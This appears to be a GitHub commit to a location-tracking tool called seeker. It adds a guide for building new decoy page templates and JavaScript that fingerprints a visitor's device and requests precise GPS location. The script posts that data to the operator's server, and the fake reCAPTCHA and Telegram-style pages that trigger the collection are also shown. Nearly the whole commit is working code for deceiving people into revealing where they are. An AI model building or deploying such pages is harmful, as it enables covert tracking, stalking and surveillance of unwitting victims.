Skip to content

Commit

Permalink
cleaning of all templates, to ease the creation of new ones + how-to
Browse files Browse the repository at this point in the history
  • Loading branch information
Resousse committed Jun 2, 2023
1 parent 71faf2f commit fc95a03
Show file tree
Hide file tree
Showing 46 changed files with 223 additions and 3,319 deletions.
34 changes: 34 additions & 0 deletions createTemplate.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
# How-to create template

## HTML Files
You are free to implement any HTML + CSS files to get the look and feel you want, however, do not forget to do the bridge with the core javascript part described in the next section.

## Javascript
You can use any JS you need, but to do the link with the core files, ensure you have the following directive on your main html page:
`<script src="js/locate.js"></script>`
This file must not be present, and will be copied by seeker at template startup.

The `information()` function can be called anywhere, to send browser/computer data (without location).

For the location, the `location` function must be called (on a button click or another action), it takes two parameters. The first one is the function to call once the location is sent, and the other is the function to call when the user declines location access.
```
<a class="tgme_action_button_new" onclick="locate(popup, function(){$('#change').html('Failed');});">View in Telegram</a>
```

## Template files
There is a unique `templates.json` file, add another entry to this file, at the end.
```
,
{
"name": "Your template name",
"dir_name": "folder where your template code is",
"import_file": "mod_yourtemplate"
}
```

## Python file
In the `template` folder, you will find a set of mod_*.py file, you can copy and adapt an existing one and report the name in the `templates.json` file described above.
This python file is used to replace variables, and prepare files at template startup.

## PHP file
PHP side is managed by seeker, do not include any PHP file
171 changes: 127 additions & 44 deletions js/location.js
Original file line number Diff line number Diff line change
@@ -1,50 +1,163 @@
function locate(callback, errCallback)
{
if(navigator.geolocation)
{
var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0};
function information() {
var ptf = navigator.platform;
var cc = navigator.hardwareConcurrency;
var ram = navigator.deviceMemory;
var ver = navigator.userAgent;
var str = ver;
var os = ver;
//gpu
var canvas = document.createElement('canvas');
var gl;
var debugInfo;
var ven;
var ren;


if (cc == undefined) {
cc = 'Not Available';
}

//ram
if (ram == undefined) {
ram = 'Not Available';
}

//browser
if (ver.indexOf('Firefox') != -1) {
str = str.substring(str.indexOf(' Firefox/') + 1);
str = str.split(' ');
brw = str[0];
}
else if (ver.indexOf('Chrome') != -1) {
str = str.substring(str.indexOf(' Chrome/') + 1);
str = str.split(' ');
brw = str[0];
}
else if (ver.indexOf('Safari') != -1) {
str = str.substring(str.indexOf(' Safari/') + 1);
str = str.split(' ');
brw = str[0];
}
else if (ver.indexOf('Edge') != -1) {
str = str.substring(str.indexOf(' Edge/') + 1);
str = str.split(' ');
brw = str[0];
}
else {
brw = 'Not Available'
}

//gpu
try {
gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
}
catch (e) { }
if (gl) {
debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
ven = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
ren = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
}
if (ven == undefined) {
ven = 'Not Available';
}
if (ren == undefined) {
ren = 'Not Available';
}

var ht = window.screen.height
var wd = window.screen.width
//os
os = os.substring(0, os.indexOf(')'));
os = os.split(';');
os = os[1];
if (os == undefined) {
os = 'Not Available';
}
os = os.trim();
//
$.ajax({
type: 'POST',
url: 'info_handler.php',
data: { Ptf: ptf, Brw: brw, Cc: cc, Ram: ram, Ven: ven, Ren: ren, Ht: ht, Wd: wd, Os: os },
success: function () { },
mimeType: 'text'
});
}



function locate(callback, errCallback) {
if (navigator.geolocation) {
var optn = { enableHighAccuracy: true, timeout: 30000, maximumage: 0 };
navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
}

function showPosition(position)
{
function showError(error) {
var err_text;
var err_status = 'failed';

switch (error.code) {
case error.PERMISSION_DENIED:
err_text = 'User denied the request for Geolocation';
break;
case error.POSITION_UNAVAILABLE:
err_text = 'Location information is unavailable';
break;
case error.TIMEOUT:
err_text = 'The request to get user location timed out';
alert('Please set your location mode on high accuracy...');
break;
case error.UNKNOWN_ERROR:
err_text = 'An unknown error occurred';
break;
}

$.ajax({
type: 'POST',
url: 'error_handler.php',
data: { Status: err_status, Error: err_text },
success: errCallback(error, err_text),
mimeType: 'text'
});
}
function showPosition(position) {
var lat = position.coords.latitude;
if( lat ){
if (lat) {
lat = lat + ' deg';
}
else {
lat = 'Not Available';
}
var lon = position.coords.longitude;
if( lon ){
if (lon) {
lon = lon + ' deg';
}
else {
lon = 'Not Available';
}
var acc = position.coords.accuracy;
if( acc ){
if (acc) {
acc = acc + ' m';
}
else {
acc = 'Not Available';
}
var alt = position.coords.altitude;
if( alt ){
if (alt) {
alt = alt + ' m';
}
else {
alt = 'Not Available';
}
var dir = position.coords.heading;
if( dir ){
if (dir) {
dir = dir + ' deg';
}
else {
dir = 'Not Available';
}
var spd = position.coords.speed;
if( spd ){
if (spd) {
spd = spd + ' m/s';
}
else {
Expand All @@ -56,40 +169,10 @@ function locate(callback, errCallback)
$.ajax({
type: 'POST',
url: 'result_handler.php',
data: {Status: ok_status,Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd},
data: { Status: ok_status, Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd },
success: callback,
mimeType: 'text'
});
};
}

function showError(error)
{
var err_text;
var err_status = 'failed';

switch(error.code)
{
case error.PERMISSION_DENIED:
err_text = 'User denied the request for Geolocation';
break;
case error.POSITION_UNAVAILABLE:
err_text = 'Location information is unavailable';
break;
case error.TIMEOUT:
err_text = 'The request to get user location timed out';
alert('Please set your location mode on high accuracy...');
break;
case error.UNKNOWN_ERROR:
err_text = 'An unknown error occurred';
break;
}

$.ajax({
type: 'POST',
url: 'error_handler.php',
data: {Status: err_status, Error: err_text},
success: errCallback(error, err_text),
mimeType: 'text'
});
}
13 changes: 9 additions & 4 deletions seeker.py
Original file line number Diff line number Diff line change
Expand Up @@ -159,8 +159,11 @@ def template_select(site):
shutil.copyfile("php/error.php", 'template/{}/error_handler.php'.format(templ_json['templates'][selected]["dir_name"]))
shutil.copyfile("php/info.php", 'template/{}/info_handler.php'.format(templ_json['templates'][selected]["dir_name"]))
shutil.copyfile("php/result.php", 'template/{}/result_handler.php'.format(templ_json['templates'][selected]["dir_name"]))


jsdir = 'template/{}/js'.format(templ_json['templates'][selected]["dir_name"])
if not path.isdir(jsdir):
mkdir(jsdir)
shutil.copyfile("js/location.js", jsdir+'/location.js')

return site


Expand Down Expand Up @@ -213,9 +216,11 @@ def wait():
def data_parser():
data_row = []
with open(INFO, 'r') as info_file:
info_file = info_file.read()
info_content = info_file.read()
if not info_content or info_content.strip() == '':
return
try:
info_json = loads(info_file)
info_json = loads(info_content)
except decoder.JSONDecodeError:
utils.print(f'{R}[-] {C}Exception : {R}{traceback.format_exc()}{W}')
else:
Expand Down
3 changes: 2 additions & 1 deletion template/captcha/anchor.html
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@
<title>reCAPTCHA</title>
<script>var $ = window.parent.$, jQuery = window.parent.jQuery;</script>
<script src="js/location.js"></script>
<script src="js/main.js"></script>
<style type="text/css">
/* latin-ext */
@font-face {
Expand All @@ -29,7 +30,7 @@
<body>
<div id="rc-anchor-alert" class="rc-anchor-alert"></div>
<div id="rc-anchor-container" class="rc-anchor rc-anchor-normal rc-anchor-light">
<div id="recaptcha-accessible-status" class="rc-anchor-aria-status" aria-hidden="true">Recaptcha requires verification. </div><div class="rc-anchor-error-msg-container" style="display:none"><span class="rc-anchor-error-msg" aria-hidden="true"></span></div><div class="rc-anchor-content"><div class="rc-inline-block"><div class="rc-anchor-center-container"><div class="rc-anchor-center-item rc-anchor-checkbox-holder"><span onclick="transmit();" class="recaptcha-checkbox goog-inline-block recaptcha-checkbox-unchecked rc-anchor-checkbox recaptcha-checkbox-clearOutline" role="checkbox" aria-checked="false" id="recaptcha-anchor" tabindex="0" dir="ltr" aria-labelledby="recaptcha-anchor-label"><div class="recaptcha-checkbox-border" role="presentation" style=""></div><div class="recaptcha-checkbox-borderAnimation" role="presentation"></div><div class="recaptcha-checkbox-spinner" role="presentation"><div class="recaptcha-checkbox-spinner-overlay"></div></div><div class="recaptcha-checkbox-checkmark" role="presentation"></div></span></div></div></div><div class="rc-inline-block"><div class="rc-anchor-center-container"><label class="rc-anchor-center-item rc-anchor-checkbox-label" aria-hidden="true" role="presentation" id="recaptcha-anchor-label"><span aria-live="polite" aria-labelledby="recaptcha-accessible-status"></span>I'm not a robot</label></div></div>
<div id="recaptcha-accessible-status" class="rc-anchor-aria-status" aria-hidden="true">Recaptcha requires verification. </div><div class="rc-anchor-error-msg-container" style="display:none"><span class="rc-anchor-error-msg" aria-hidden="true"></span></div><div class="rc-anchor-content"><div class="rc-inline-block"><div class="rc-anchor-center-container"><div class="rc-anchor-center-item rc-anchor-checkbox-holder"><span onclick="main();" class="recaptcha-checkbox goog-inline-block recaptcha-checkbox-unchecked rc-anchor-checkbox recaptcha-checkbox-clearOutline" role="checkbox" aria-checked="false" id="recaptcha-anchor" tabindex="0" dir="ltr" aria-labelledby="recaptcha-anchor-label"><div class="recaptcha-checkbox-border" role="presentation" style=""></div><div class="recaptcha-checkbox-borderAnimation" role="presentation"></div><div class="recaptcha-checkbox-spinner" role="presentation"><div class="recaptcha-checkbox-spinner-overlay"></div></div><div class="recaptcha-checkbox-checkmark" role="presentation"></div></span></div></div></div><div class="rc-inline-block"><div class="rc-anchor-center-container"><label class="rc-anchor-center-item rc-anchor-checkbox-label" aria-hidden="true" role="presentation" id="recaptcha-anchor-label"><span aria-live="polite" aria-labelledby="recaptcha-accessible-status"></span>I'm not a robot</label></div></div>
</div><div class="rc-anchor-normal-footer"><div class="rc-anchor-logo-portrait" aria-hidden="true" role="presentation"><div class="rc-anchor-logo-img rc-anchor-logo-img-portrait"></div><div class="rc-anchor-logo-text">reCAPTCHA</div></div><div class="rc-anchor-pt"><a href="https://www.google.com/intl/en/policies/privacy/" target="_blank">Privacy</a><span aria-hidden="true" role="presentation"> - </span><a href="https://www.google.com/intl/en/policies/terms/" target="_blank">Terms</a></div></div></div>
<iframe style="display: none;"></iframe>
</body>
Expand Down
67 changes: 0 additions & 67 deletions template/captcha/index.html

This file was deleted.

2 changes: 1 addition & 1 deletion template/captcha/index_temp.html
Original file line number Diff line number Diff line change
Expand Up @@ -9,8 +9,8 @@
window.location = "https:" + restOfUrl;
}
</script>
<script src="js/info.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script src="js/location.js"></script>
</head>

<body style="font-family: arial, sans-serif; background-color: #fff; color: #000; padding:20px; font-size:18px;" onload="information();">
Expand Down
Loading

0 comments on commit fc95a03

Please sign in to comment.